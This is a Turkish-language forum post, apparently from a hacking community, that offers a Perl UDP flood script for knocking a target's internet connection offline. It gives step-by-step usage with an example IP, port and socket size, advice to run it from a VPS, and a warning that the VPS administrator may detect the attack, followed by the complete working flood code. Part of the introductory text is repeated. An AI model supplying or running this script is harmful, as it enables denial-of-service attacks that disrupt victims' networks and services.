Merhaba ilk olarak bu script ile kendi bilgisayarınızdan netiniz çok iyi değilse saldırmaya çalışmayın !
Eğer VPS gibi sahip olduğunuz sanal sunucunuz varsa bu kodları ".pl" olarak kaydedip kullanabilirsiniz.Kullandığınız Sanal Sunucu'nun işletim sistemi linux ise direk ".pl" yapıp kullanabilirsiniz fakat Windows ise ActivePerl kurmanız gerekecektir.
+ Kodlama Dili : PERL
+ Kodun İşlevi : Udp Flood scriptidir.Yaklaşık 20-30 sn sonra saldırdığınız kişinin Packet Lossu 30-40'ı bulup zaman aşımına uğrayıp interneti kesilecektir.
+ Kodun Kullanımı : Terminalde "perl ornek.pl ip port size"
Örnekler :
ip: "192.168.1.101"
port: "80"
size: "100" (100 yeterli olacaktır.)
"perl ornek.pl 192.168.1.101 80 100"
+Kod :
NOT : Size = Sizin saldırdığınız internetin socket sayısıdır, fazla olması iyi fakat vps gibi sanal sunucu kullanıyor iseniz yönetici saldırı yaptığınızı anlayıp hesabınızı kapatabilir ortalama 100 veya 80 yeterli olacaktır.
Eğer VPS gibi sahip olduğunuz sanal sunucunuz varsa bu kodları ".pl" olarak kaydedip kullanabilirsiniz.Kullandığınız Sanal Sunucu'nun işletim sistemi linux ise direk ".pl" yapıp kullanabilirsiniz fakat Windows ise ActivePerl kurmanız gerekecektir.
+ Kodlama Dili : PERL
+ Kodun İşlevi : Udp Flood scriptidir.Yaklaşık 20-30 sn sonra saldırdığınız kişinin Packet Lossu 30-40'ı bulup zaman aşımına uğrayıp interneti kesilecektir.
+ Kodun Kullanımı : Terminalde "perl ornek.pl ip port size"
Örnekler :
ip: "192.168.1.101"
port: "80"
size: "100" (100 yeterli olacaktır.)
"perl ornek.pl 192.168.1.101 80 100"
+Kod :
Kod:
#!/usr/bin/perl
#Coprightby Ertan Yağmur.
#TURKHACKTEAM
print "Copright by exper!um \n";
print "Bu Script Turkhackteam için yazılmıştır. \n";
print "exper!um \n";
use Socket;
my $host = shift;
my $port = shift or die "$0 <ip> <port> [size]\n";
my $size = shift || int rand (1500); #int rand 65507;
my $ipaddr = inet_aton ($host);
my $portaddr = sockaddr_in ($port, $ipaddr);
my $flood = "a" x $size;
socket (SOCKET, PF_INET, SOCK_DGRAM, getprotobyname ("udp")) or die "socket: $!";
print "Durdurmak için Ctrl-C yapınız! \n";
send (SOCKET, $flood, 0, $portaddr) == length ($flood) or die "erro sendint to $host:$port\n $!" while 1;NOT : Size = Sizin saldırdığınız internetin socket sayısıdır, fazla olması iyi fakat vps gibi sanal sunucu kullanıyor iseniz yönetici saldırı yaptığınızı anlayıp hesabınızı kapatabilir ortalama 100 veya 80 yeterli olacaktır.
Son düzenleme:
